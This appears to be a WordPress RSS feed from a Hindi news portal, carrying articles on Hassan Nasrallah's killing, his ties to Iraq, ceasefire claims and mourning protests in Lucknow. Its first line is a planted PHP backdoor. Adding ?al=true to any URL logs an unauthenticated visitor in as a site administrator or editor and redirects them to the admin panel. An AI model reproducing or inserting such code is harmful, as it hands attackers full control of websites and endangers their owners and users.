// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Nasrallah – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 04 Oct 2024 09:07:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 इराक के स्वास्थ्य मंत्रालय के अनुसार, देश भर में 100 बच्चों का नाम नसरल्लाह रखा गया https://pratyushaashakinayikiran.com/?p=79526 Fri, 04 Oct 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=79526  दमिश्क

हाल ही में लेबनान में एक इजरायली हवाई हमले में हिजबुल्लाह के नेता हसन नसरल्लाह की मौत के बाद, इराक में नवजात बच्चों के नाम "नसरल्लाह" रखने का एक नया चलन देखने को मिला है। इराक के स्वास्थ्य मंत्रालय के अनुसार, देश भर में लगभग 100 बच्चों का नाम नसरल्लाह रखा गया है। नसरल्लाह पिछले तीन दशकों से आतंकी संगठन हिजबुल्लाह का नेतृत्व कर रहा था। उसे कई लोगों द्वारा इजरायली और पश्चिमी प्रभाव के खिलाफ प्रतिरोध का प्रतीक माना जाता था। उनकी लोकप्रियता इराक में विशेष रूप से देश के अधिकांश शिया समुदाय के बीच मजबूत थी।

अब इराक के लोग नसरल्लाह की याद में अपने बच्चों का नाम भी नसरल्लाह ही रख रहे हैं। लोगों का कहना है कि वे ऐसा "प्रतिरोध के शहीद के सम्मान में" कर रहे हैं। नसरल्लाह की हत्या ने इराक में गुस्से की लहर पैदा कर दी, जिसके परिणामस्वरूप बगदाद और अन्य शहरों में बड़े पैमाने पर विरोध प्रदर्शन हुए। प्रदर्शनकारियों ने इजरायल की कार्रवाई की निंदा की और इसे अंतरराष्ट्रीय कानून का उल्लंघन करार दिया। इराक के प्रधानमंत्री मोहम्मद शिया अल-सुदानी ने नसरल्लाह को "धर्म के मार्ग पर एक शहीद" बताया। हिजबुल्लाह नेता की याद में तीन दिन का राजकीय शोक मनाया गया, जिसमें देश भर में श्रद्धांजलियां आयोजित की गईं।

नसरल्लाह का इराक से गहरा संबंध है, जो धार्मिक और राजनीतिक विचारधाराओं से जुड़ा है। उसका जन्म 1960 में साधारण परिवार में हुआ था, और उसने इराक के नजफ शहर में एक शिया सेमिनरी में इस्लाम की पढ़ाई की थी। यहीं पर उसके राजनीतिक विचारों ने आकार लिया। 1982 में इजरायल के लेबनान में आक्रमण के बाद, हिजबुल्लाह का जन्म हुआ और नसरल्लाह इसमें शामिल हुआ। इस समूह की स्थापना ईरान की क्रांतिकारी गार्ड्स के समर्थन से की गई थी, जो प्रारंभ में इजरायली बलों के खिलाफ एक मिलिशिया के रूप में कार्यरत था।

1992 में अपने पूर्ववर्ती और गुरु अब्बास मुसावी की हत्या के बाद नसरल्लाह ने हिजबुल्लाह का नेतृत्व संभाला। अगले तीन दशकों में, उसने इस समूह को एक क्षेत्रीय शक्ति में बदल दिया, जो सीरिया से यमन तक के संघर्षों पर प्रभाव डाल रहा था और गाजा में फलस्तीनियों को प्रशिक्षण दे रहा था। नसरल्लाह के नेतृत्व में, हिजबुल्लाह की शक्ति ने सैन्य और राजनीतिक दोनों स्तरों पर वृद्धि की। इस संगठन ने हमास जैसे समूहों और इराक और यमन में मिलिशियाओं को मिसाइलें और रॉकेट प्रदान किए, जो इजरायल और उसके सहयोगियों के खिलाफ एक व्यापक "प्रतिरोध का धारा" का हिस्सा थे।

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नसरल्लाह मरने से पहले इजरायल से समझौते पर सहमत था, लेबनान के मंत्री का दावा https://pratyushaashakinayikiran.com/?p=79528 Fri, 04 Oct 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=79528 तेहरान

इजरायली हवाई हमले में मारा गया हिजबुल्लाह प्रमुख नसरल्लाह अपनी मौत से पहले इजरायल के साथ युद्धविराम चाहता था। लेबनान के विदेश मंत्री अब्दुल्ला बौ हबीब ने कहा है कि नसरल्लाह हवाई हमले में मारे जाने के कुछ दिन पहले ही युद्धविराम के लिए मान गए थे। उन्होंने कहा कि अपने युद्धविराम के इस फैसले के बारे में उन्होंने अमेरिकी और फ्रांसीसी प्रतिनिधियों को भी बता दिया था।

सीएनएन को दिए अपने इंटरव्यू में हबीब ने कहा कि हिजबुल्लाह चीफ हसन नसरल्लाह 21 दिनों के सीजफायर के लिए मान गए थे। लेबनानी संसद के स्पीकर नबीह बेरी ने नसरल्लाह से मुलाकात की थी, जिसमें उन्होंने जंग रोकने के लिए अपनी सहमति जताई थी। इसके बाद बेरी ने अमेरिकी और फ्रांसीसी प्रतिनिधियों को यह जानकारी दी थी कि हिजबुल्लाह युद्धविराम के लिए तैयार है। लेबनानी विदेशमंत्री ने यह दावा किया कि हमें यह सूचना मिली थी कि इजरायली प्रधानमंत्री नेतन्याहू भी सीजफायर के लिए तैयार हैं, लेकिन बाद में उन्होंने अपना मन बदल लिया और हमारी जमीन पर हमला करना जारी रखा।

दरअसल, 27 सितंबर को हुए इस हमले के पहले न्यूयॉर्क में बाइडन और मैक्रों की मुलाकात हुई थी, जिसके बाद अमेरिका और उसके सहयोगियों ने मिलकर 25 सितंबर को 21 दिनों के सीजफायर को लेकर अपना प्लान रखा था। लेकिन नेतन्याहू ने इस प्लान को खारिज कर दिया और पूरी ताकत के साथ लड़ाई जारी रखने का आदेश दिया, विशेषज्ञों के मुताबिक पेजर और अन्य संचार संसाधनों में हुए विस्फोट के बाद हिजबुल्लाह बैकफुट पर था, नेतन्याहू नहीं चाहते थे कि उसे संभलने का कोई भी मौका दिया जाए।

हमले के वक्त अपने दहियाह के खुफिया बंकर में था नसरल्लाह

हबीब ने बताया कि हमले के वक्त नसरल्लाह दहियाह के दक्षिणी इलाके में एक बंकर में था उसी वक्त वह इजरायली हवाई हमले का शिकार हो गए। इससे पहले जब हिजबुल्लाह ने नसरल्लाह की मौत की पुष्टि की थी तो उनकी तरफ से यह नहीं बताया गया था कि नसरल्लाह की मौत का कारण क्या है। रॉयटर्स के मुताबिक उसके शरीर पर कोई घाव नहीं था, उसके शरीर को देखकर ऐसा लगता है कि विस्फोट की तीव्रता से अंदरूनी चोट की वजह से उसकी मौत हुई।

ईरान के सर्वोच्च नेता ने दी थी लेबनान छोड़ने की सलाह

रॉयटर्स ने बुधवार को एक रिपोर्ट में बताया था कि ईरान के सर्वोच्च नेता अयातुल्लाह अली खामेनेई ने इजरायली हमले में मारे जाने के कुछ दिन पहले ही नसरल्लाह को लेबनान से भाग जाने की चेतावनी दी थी। पेजर हमलों में हिजबुल्लाह के सदस्यों की मौत के बाद खामेनेई ने एक दूत के साथ नसरल्लाह को ईरान आने के लिए कहा था,जिसमें खुफिया रिपोर्टों का हवाला देते हुए कहा गया था कि इज़राइल के पास हिजबुल्लाह के भीतर गुर्गे थे और वह उसे मारने की योजना बना रहा था। ईरान के एक अधिकारी ने कहा कि खामेनेई ने दूत के रूप में एक वरिष्ठ ईरानी रिवोल्यूशनरी गार्ड कमांडर, ब्रिगेडियर जनरल अब्बास निलफोरुशान थे, जो बंकर में नसरल्लाह के साथ मारे गए थे।

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हिजबुल्ला के नसरल्लाह को शहीद बताया, 3 दिन के शोक की घोषणा, लखनऊ में मुसलमानों का प्रदर्शन https://pratyushaashakinayikiran.com/?p=77597 Mon, 30 Sep 2024 16:46:00 +0000 https://pratyushaashakinayikiran.com/?p=77597  लखनऊ

लेबनान में हिजबुल्ला संगठन के प्रमुख सैयद हसन नसरल्लाह की हत्या के विरोध में रविवार को हुसैनाबाद फूड स्ट्रीट बंद रही। दुकानों और घरों पर काले झण्डे लगाए गए। छोटे इमामबाड़े से लेकर बड़े इमामबाड़े तक उमड़े लोगों ने इजरायल और अमेरिका विरोधी नारे लगाए। हजारों पुरुष-महिला, बच्चों ने मोमबत्ती और मोबाइल टार्च की रोशनी में जुलूस निकाला। देर शाम छोटे इमामबाड़े से निकला जुलूस कुछ दूर आगे जाते ही सतखण्डा के पास पुलिस ने रोक दिया लेकिन लोग रुके नहीं और बड़े इमामबाड़े पहुंचकर ही समाप्त किया। शिया धर्मगुरु मौलाना कल्बे जवाद ने हसन नसरल्लाह की मौत पर तीन दिन का मातम घोषित किया है। उन्होंने कहा कि एक नसरल्लाह शहीद हुए हैं कई नसरल्लाह पैदा होंगे।

छोटे इमामबाड़े पर शाम पांच बजे से ही लोग जुटने लगे थे। शाम ढलने के साथ ही सैकड़ों की संख्या में लोग पहुंच चुके थे। जैसे ही छोटे इमामबाड़े से इजरायल-अमेरिका मुर्दाबाद और सैयद हसन नसरल्लाह अमर रहें के नारों के साथ मोमबत्ती और मोबाइल की टार्च लाइट के साथ जुलूस निकला तो आसपास के क्षेत्रों से अन्य लोग जुड़ते गए। शाम करीब छह से रात नौ बजे तक अजादारी रोड पर आवागमन पूरी तरह बंद हो गया। सड़क पर सिर्फ विरोध प्रदर्शन करने वाले लोग ही मौजूद थे। शिया उलेमाओं ने सैयद हसन नसरल्लाह की शहादत पर शोक व्यक्त करने के साथ ही इजरायल और अमेरिका के विरोध में नारे लगाए।

बड़े इमामबाड़े पर इजरायल का झण्डा, राष्ट्रपति नेतन्याहू की तस्वीर के साथ जमीन पर बिछा दिया। विरोध स्वरूप लोग इजरायली झण्डे को पैरों से कुचलकर उसके ऊपर से निकले। इसके साथ ही छोटे इमामबाड़े और पास ही स्थित शाही गेट पर हसन नसरल्लाह की तस्वीर लगाई, जिस पर सलाम और शहीद लिखा गया। पहले शांतिपूर्वक कैंडल मार्च करबला दियान्नुत दौला से निकलना था, जिसे स्थगित कर दिया गया।नसरल्लाह की शहादत पर शिया समाज की हज़ारों औरतों और बच्चों ने छोटे से बड़े इमामबाड़े तक रविवार को मोमबत्ती लेकर मातम करते हुए जुलूस निकाला।
नसरल्लाह नहीं, नेतन्याहू आतंकवादी : कल्बे जवाद

 सैयद हसन नसरुल्लाह की शहादत के गम में शहर में जगह जगह मजलिसों का आयोजन किया गया और कुरान की तिलावत की गई। दरगाह हजरत अब्बास रुस्तमनगर में एक तजियाती जलसे व मजलिस का आयोजन किया गया। मजलिस को मौलाना कल्बे जवाद ने खिताब किया। मौलाना ने कहा कि शहीद से बड़ा कोई रुतबा नहीं होता है। शहादत वो असलाह है जिससे जालिम अपनी गर्दन काट लेता है। एक नसरल्लाह शहीद हुए हैं कई नसरल्लाह पैदा होंगे। उन्होंने कहा नसरल्लाह आतंकवादी नहीं नेतन्याहू आतंकवादी हैं। इस मौके पर तमाम उलमा सहित हजारों की संख्या में पुरुषों, महिलाएं और बच्चे शामिल थे। कार्यक्रम का संचालन आदिल फराज ने किया। मस्जिद राहते सुल्तान नूरबाड़ी में मजलिस को मौलाना सुहैल रिजवी ने खिताब किया। इस मौके पर कारी नासिर हुसैन,कारी मोहम्मद आसिफ, कारी ईसा अबरार, कारी फुरकान हुसैन,कारी हसनैन रिजवी,कारी सैम रजा,कारी मोहम्मद मेहदी,कारी रजा हुसैन, कारी नाजिम, तिलावते कुराने पाक की।

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